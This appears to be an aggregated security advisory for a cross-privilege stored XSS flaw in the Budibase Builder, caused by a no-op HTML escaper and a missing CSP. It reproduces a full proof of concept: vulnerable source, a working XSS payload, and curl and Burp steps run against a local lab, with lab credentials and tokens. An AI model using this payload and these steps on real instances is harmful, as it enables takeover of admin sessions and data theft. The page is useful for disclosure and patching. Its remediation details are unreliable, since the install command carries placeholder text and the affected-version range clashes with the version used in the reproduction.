CVE-2026-122244: Budibase Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-r2q3-7m4h-63qg
CVSS 7.7
CWE-116 CWE-79 CWE-1021
Published
Advisory Summary

CVE-2026-122244 is a HIGH (CVSS 7.7) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Budibase libraries in the npm ecosystem. The issue involves cross-privilege stored xss in the budibase builder via broken html-escaping in `jsonformatter.format()` rendered through `{@html}` in the csp-less builder origin. Remediation is available in the latest vendor maintenance releases.

CVE-2026-122244 at a Glance

CVE Identifier CVE-2026-122244
GHSA Identifier GHSA-r2q3-7m4h-63qg
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-122244

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: Latest secure release
npm install @budibase/server@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-122244, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description ### Summary A **low-privileged application end-user** (role `BASIC` - **not** a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a **builder or admin** later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section **Formula** column editor, or any binding drawer), the stored value is rendered as **raw HTML** and the attacker's JavaScript executes in the Builder's origin. The Builder SPA is served by nginx with **no Content-Security-Policy** (the CSP middleware only decorates the server-rendered *published-app* document, not `/builder/`). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a **cross-privilege stored XSS** (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS. ### Details **Root cause 1 - the escaper is a no-op.** `packages/frontend-core/src/utils/jsonFormatter.ts` (`format()`): ```js jsonString = jsonString .replace(/&/g, "&") // no-op: replaces "&" with "&" (should be "&amp;") .replace(/</g, "<") // no-op (should be "&lt;") .replace(/>/g, ">") // no-op (should be "&gt;") return jsonString.replace( /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+...)/g, (match) => { if (/^"/.test(match)) { if (/:$/.test(match)) { color = colors.keyColor } // KEY: NOT escaped else { match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"' } // string VALUE: escaped } return `<span style="...">${match}</span>` }) ``` Only quoted JSON *string values* are passed through `escapeHtml`. Everything else is emitted verbatim, because the leading `.replace(/&/g,"&")…` chain replaces each character with itself. Two consequences: 1. A **raw, non-JSON string** (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned **completely un-escaped**. 2. **Object keys** are never escaped. **Root cause 2 - the output is injected with `{@html}`.** `packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte`: - line 116: `{@html logLine.log}` - line 128: `{@html highlightedResult}` `highlightedResult` is the output of `JsonFormatter.format()`, so the un-escaped attacker string is inserted into the DOM as live markup. **Root cause 3 - binding output is not entity-escaped upstream.** Every `{{ … }}` statement is wrapped by the `ALL` helper in `packages/string-templates/src/helpers/index.ts`, which returns a `Handlebars.SafeString`; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/`{@html}` sink. **Root cause 4 - no CSP on the Builder.** `GET /builder/*` is served as a static SPA by nginx with **no** `Content-Security-Policy` header (verified live below). The `contentSecurityPolicy` middleware (`packages/backend-core/src/middleware/contentSecurityPolicy.ts`) only sets a nonce-based CSP on the server-rendered *published-app* document (`serveApp`). So in the Builder origin there is no `script-src` restriction and inline event handlers run freely. **Cross-privilege data channel.** Internal-table dev/prod data live in separate databases, but **external datasources are queried live and shared** between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A `BASIC` app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. `RowUtils.generateGoldenSample()` even *prefers the longest string per column*, guaranteeing a long payload is the sample the Preview evaluates. **Payload shape note.** `jsonFormatter.format()` tokenises quoted strings, digits and `true/false/null` into `<span>`s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. `<img src=x onerror=alert(window.xssproof=document.domain)>` - survives verbatim and executes. ### PoC **Environment used for this reproduction (all values real / unredacted):** | Item | Value | |------|-------| | Target | `http://127.0.0.1:3014` (self-host single image, Budibase `v3.44.0`, commit `d1ed6085`) | | Dev app id | `app_dev_cc322a9cd27a492eb934f43b146c6e81` | | Prod app id | `app_cc322a9cd27a492eb934f43b146c6e81` | | External Postgres table | `datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl` | | Attacker (low-priv `BASIC`) | `lowuser@budibase.local` / `LowUser!2026#bb` | | Victim (builder/admin) | `admin@budibase.local` / `LabAdmin!2026#bb` | --- #### Step 0 - (precondition, performed once by the builder) a data-collection app grants `BASIC` write on the table ```bash # grant the low user BASIC role on the app curl -s -b creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/users \ -d '{"_id":"us_df036f58299242608f665700b1618057","_rev":"1-f24520b49fae0a6f4a23dced7a82fcc8","email":"lowuser@budibase.local","builder":{"global":false},"admin":{"global":false},"roles":{"app_cc322a9cd27a492eb934f43b146c6e81":"BASIC"},"tenantId":"default","status":"active"}' # open write permission on the table to BASIC (typical of feedback/survey/contact apps) curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write" curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish" ``` --- #### Step 1 - ATTACKER logs in (low-priv `BASIC` user) ```bash curl -s -i -c creds/low.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}' ``` **Burp - Request** ```http POST /api/global/auth/default/login HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 71 {"username":"lowuser@budibase.local","password":"LowUser!2026#bb"} ``` **Burp - Response** ```http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 30 Connection: keep-alive x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly Set-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA {"message":"Login successful"} ``` The low user's session JWT (decoded payload) confirms **`builder`/`admin` are absent** - this is an ordinary app user: ```json {"userId":"us_df036f58299242608f665700b1618057","sessionId":"4aacd94d0b444b81937d13150251 29e0","tenantId":"default","email":"lowuser@budibase.local","iat":1788333645,"exp":1788938445} ``` --- #### Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id) ```bash curl -s -i -b creds/low.cookies \ -H "x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81" \ -H "Content-Type: application/json" -X POST \ "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" \ -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}' ``` **Burp - Request** ```http POST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1 Host: 127.0.0.1:3014 x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81 Content-Type: application/json Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY Content-Length: 87 {"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"} ``` **Burp - Response** ```http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 196 Connection: keep-alive x-budibase-tenant-id: default {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld","_id":"%5B7%5D","tableId":"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl","_rev":"rev"} ``` The payload is stored verbatim as **row id=7** in the shared Postgres table. The server performs **no output-encoding or sanitisation** of the `name` value. --- #### Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row) ```bash # admin login curl -s -i -c creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}' # admin reads the row set from the DEV plane (what the Builder renders) curl -s -b creds/admin.cookies \ -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" \ "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" ``` **Burp - admin login Response (real admin session JWT)** ```http HTTP/1.1 200 OK Server: nginx x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly Set-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk {"message":"Login successful"} ``` **Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)** ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 [{"id":1,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":2,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":5,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":6,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld",...}] ``` --- #### Step 4 - confirm the Builder origin ships NO Content-Security-Policy ```bash curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/ ``` **Burp - Response (note the complete absence of any `Content-Security-Policy` header)** ```http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT Cache-Control: max-age=0 Content-Encoding: gzip ``` --- #### Step 5 - VICTIM triggers execution (builder/admin, in the browser) Logged into the Builder as `admin@budibase.local`, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column: 1. Open the app → **Data tables** → datasource **LabPG** → table **`users_tbl`**. 2. Click the **+** to add a column, name it (e.g. `xsscol`), set **Type = Formula**. 3. Click the **lightning** (binding) icon on the *Formula* field → the binding drawer opens. 4. In the code editor type: `{{ name }}` 5. Click the **play** (▶ / evaluate) button. The right-hand **Preview** panel renders the stored value through `JsonFormatter.format()` → `{@html}`. The injected `<img>` is inserted as a **live DOM element**; its `onerror` fires and the attacker's JavaScript runs in the Builder origin. **Observed result (captured live in the reproduction):** ``` window.__xss_calls = ["localhost"] // alert() was called with document.domain window.xssproof = "localhost" // attacker JS mutated the Builder's window object document.domain = "localhost" // execution context = the BUILDER origin location.href = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/... ``` **Popup - `alert(document.domain)` firing in the Builder origin, with the injected `<img>` visible as a broken-image element in the Preview panel:** ![F4 stored XSS – alert popup in the Budibase Builder](./F4-xss-alert-popup.png) <img width="1536" height="674" alt="F4-xss-alert-popup" src="https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7" /> > Screenshot note: the browser used for automated reproduction is headless, and native `alert()` dialogs are not captured by page-level screenshots. `window.alert` was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to `alert()`. The execution itself is 100% genuine and unmodified - the payload's `onerror` handler ran, called `alert()`, and set `window.xssproof` on the real Builder `window` (see the observed values above). The broken-image glyph in the **Preview** pane is the attacker-controlled `<img src=x>` inserted by the `{@html}` sink. ### Impact **Type:** Cross-privilege **Stored / persistent Cross-Site Scripting (XSS)** in the application builder. **Who is impacted:** any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any "data collection" app. On such apps the writer can be a `BASIC` app user or, when the write screen is public, an **unauthenticated** visitor. **What the attacker gains:** the payload executes in the **Builder/admin session**, an origin with **no CSP**. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.: - create a REST/SQL **datasource** or an **automation** step that runs server-side JavaScript / Bash → **remote code execution** on the server; - read or modify **every table** in the workspace (full data exfiltration / tampering); - **escalate** the attacker's own account (or create a new one) to builder/admin; - pivot to the underlying CouchDB/MinIO/Redis via server-side automation.

CVE-2026-122244 Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
≤ 3.38.1

References

Frequently Asked Questions

What is CVE-2026-122244?
CVE-2026-122244 is a security vulnerability in Budibase involving Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin under CWE-116: Improper Encoding or Escaping of Output.
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/server.
What version fixes CVE-2026-122244?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-122244?
CVE-2026-122244 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-122244?
CVE-2026-122244 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check npm dependencies for CVE-2026-122244?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r2q3-7m4h-63qg",
  "modified" : "2026-11-20T23:49:47Z",
  "published" : "2026-11-20T23:49:47Z",
  "aliases" : [ "CVE-2026-122244" ],
  "summary" : "Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin",
  "details" : "## Description\n\n### Summary\n\nA **low-privileged application end-user** (role `BASIC` - **not** a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a **builder or admin** later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section **Formula** column editor, or any binding drawer), the stored value is rendered as **raw HTML** and the attacker's JavaScript executes in the Builder's origin.\n\nThe Builder SPA is served by nginx with **no Content-Security-Policy** (the CSP middleware only decorates the server-rendered *published-app* document, not `/builder/`). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a **cross-privilege stored XSS** (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS.\n\n### Details\n\n**Root cause 1 - the escaper is a no-op.**\n`packages/frontend-core/src/utils/jsonFormatter.ts` (`format()`):\n\n```js\njsonString = jsonString\n  .replace(/&/g, \"&\")   // no-op: replaces \"&\" with \"&\"  (should be \"&amp;\")\n  .replace(/</g, \"<\")   // no-op                          (should be \"&lt;\")\n  .replace(/>/g, \">\")   // no-op                          (should be \"&gt;\")\n\nreturn jsonString.replace(\n  /(\"(\\\\u[a-zA-Z0-9]{4}|\\\\[^u]|[^\\\\\"])*\"(\\s*:)?|\\b(true|false|null)\\b|-?\\d+...)/g,\n  (match) => {\n    if (/^\"/.test(match)) {\n      if (/:$/.test(match)) { color = colors.keyColor }                        // KEY: NOT escaped\n      else { match = '\"' + escapeHtml(match.substr(1, match.length - 2)) + '\"' } // string VALUE: escaped\n    }\n    return `<span style=\"...\">${match}</span>`\n  })\n```\n\nOnly quoted JSON *string values* are passed through `escapeHtml`. Everything else is emitted verbatim, because the leading `.replace(/&/g,\"&\")…` chain replaces each character with itself. Two consequences:\n\n1. A **raw, non-JSON string** (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned **completely un-escaped**.\n2. **Object keys** are never escaped.\n\n**Root cause 2 - the output is injected with `{@html}`.**\n`packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte`:\n\n- line 116: `{@html logLine.log}`\n- line 128: `{@html highlightedResult}`\n\n`highlightedResult` is the output of `JsonFormatter.format()`, so the un-escaped attacker string is inserted into the DOM as live markup.\n\n**Root cause 3 - binding output is not entity-escaped upstream.**\nEvery `{{ … }}` statement is wrapped by the `ALL` helper in `packages/string-templates/src/helpers/index.ts`, which returns a `Handlebars.SafeString`; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/`{@html}` sink.\n\n**Root cause 4 - no CSP on the Builder.**\n`GET /builder/*` is served as a static SPA by nginx with **no** `Content-Security-Policy` header (verified live below). The `contentSecurityPolicy` middleware (`packages/backend-core/src/middleware/contentSecurityPolicy.ts`) only sets a nonce-based CSP on the server-rendered *published-app* document (`serveApp`). So in the Builder origin there is no `script-src` restriction and inline event handlers run freely.\n\n**Cross-privilege data channel.**\nInternal-table dev/prod data live in separate databases, but **external datasources are queried live and shared** between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A `BASIC` app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. `RowUtils.generateGoldenSample()` even *prefers the longest string per column*, guaranteeing a long payload is the sample the Preview evaluates.\n\n**Payload shape note.** `jsonFormatter.format()` tokenises quoted strings, digits and `true/false/null` into `<span>`s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. `<img src=x onerror=alert(window.xssproof=document.domain)>` - survives verbatim and executes.\n\n### PoC\n\n**Environment used for this reproduction (all values real / unredacted):**\n\n| Item | Value |\n|------|-------|\n| Target | `http://127.0.0.1:3014` (self-host single image, Budibase `v3.44.0`, commit `d1ed6085`) |\n| Dev app id | `app_dev_cc322a9cd27a492eb934f43b146c6e81` |\n| Prod app id | `app_cc322a9cd27a492eb934f43b146c6e81` |\n| External Postgres table | `datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl` |\n| Attacker (low-priv `BASIC`) | `lowuser@budibase.local` / `LowUser!2026#bb` |\n| Victim (builder/admin) | `admin@budibase.local` / `LabAdmin!2026#bb` |\n\n---\n\n#### Step 0 - (precondition, performed once by the builder) a data-collection app grants `BASIC` write on the table\n\n```bash\n# grant the low user BASIC role on the app\ncurl -s -b creds/admin.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/users \\\n  -d '{\"_id\":\"us_df036f58299242608f665700b1618057\",\"_rev\":\"1-f24520b49fae0a6f4a23dced7a82fcc8\",\"email\":\"lowuser@budibase.local\",\"builder\":{\"global\":false},\"admin\":{\"global\":false},\"roles\":{\"app_cc322a9cd27a492eb934f43b146c6e81\":\"BASIC\"},\"tenantId\":\"default\",\"status\":\"active\"}'\n\n# open write permission on the table to BASIC (typical of feedback/survey/contact apps)\ncurl -s -b creds/admin.cookies -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" -X POST \\\n  \"http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write\"\n\ncurl -s -b creds/admin.cookies -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" -X POST \\\n  \"http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish\"\n```\n\n---\n\n#### Step 1 - ATTACKER logs in (low-priv `BASIC` user)\n\n```bash\ncurl -s -i -c creds/low.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/auth/default/login \\\n  -d '{\"username\":\"lowuser@budibase.local\",\"password\":\"LowUser!2026#bb\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 71\n\n{\"username\":\"lowuser@budibase.local\",\"password\":\"LowUser!2026#bb\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:20:45 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 30\nConnection: keep-alive\nx-budibase-tenant-id: default\nSet-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly\nSet-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly\nx-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA\n\n{\"message\":\"Login successful\"}\n```\n\nThe low user's session JWT (decoded payload) confirms **`builder`/`admin` are absent** - this is an ordinary app user:\n\n```json\n{\"userId\":\"us_df036f58299242608f665700b1618057\",\"sessionId\":\"4aacd94d0b444b81937d13150251 29e0\",\"tenantId\":\"default\",\"email\":\"lowuser@budibase.local\",\"iat\":1788333645,\"exp\":1788938445}\n```\n\n---\n\n#### Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)\n\n```bash\ncurl -s -i -b creds/low.cookies \\\n  -H \"x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81\" \\\n  -H \"Content-Type: application/json\" -X POST \\\n  \"http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows\" \\\n  -d '{\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",\"email\":\"rx@x.tld\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1\nHost: 127.0.0.1:3014\nx-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81\nContent-Type: application/json\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY\nContent-Length: 87\n\n{\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",\"email\":\"rx@x.tld\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:20:53 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 196\nConnection: keep-alive\nx-budibase-tenant-id: default\n\n{\"id\":7,\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",\"email\":\"rx@x.tld\",\"_id\":\"%5B7%5D\",\"tableId\":\"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl\",\"_rev\":\"rev\"}\n```\n\nThe payload is stored verbatim as **row id=7** in the shared Postgres table. The server performs **no output-encoding or sanitisation** of the `name` value.\n\n---\n\n#### Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)\n\n```bash\n# admin login\ncurl -s -i -c creds/admin.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/auth/default/login \\\n  -d 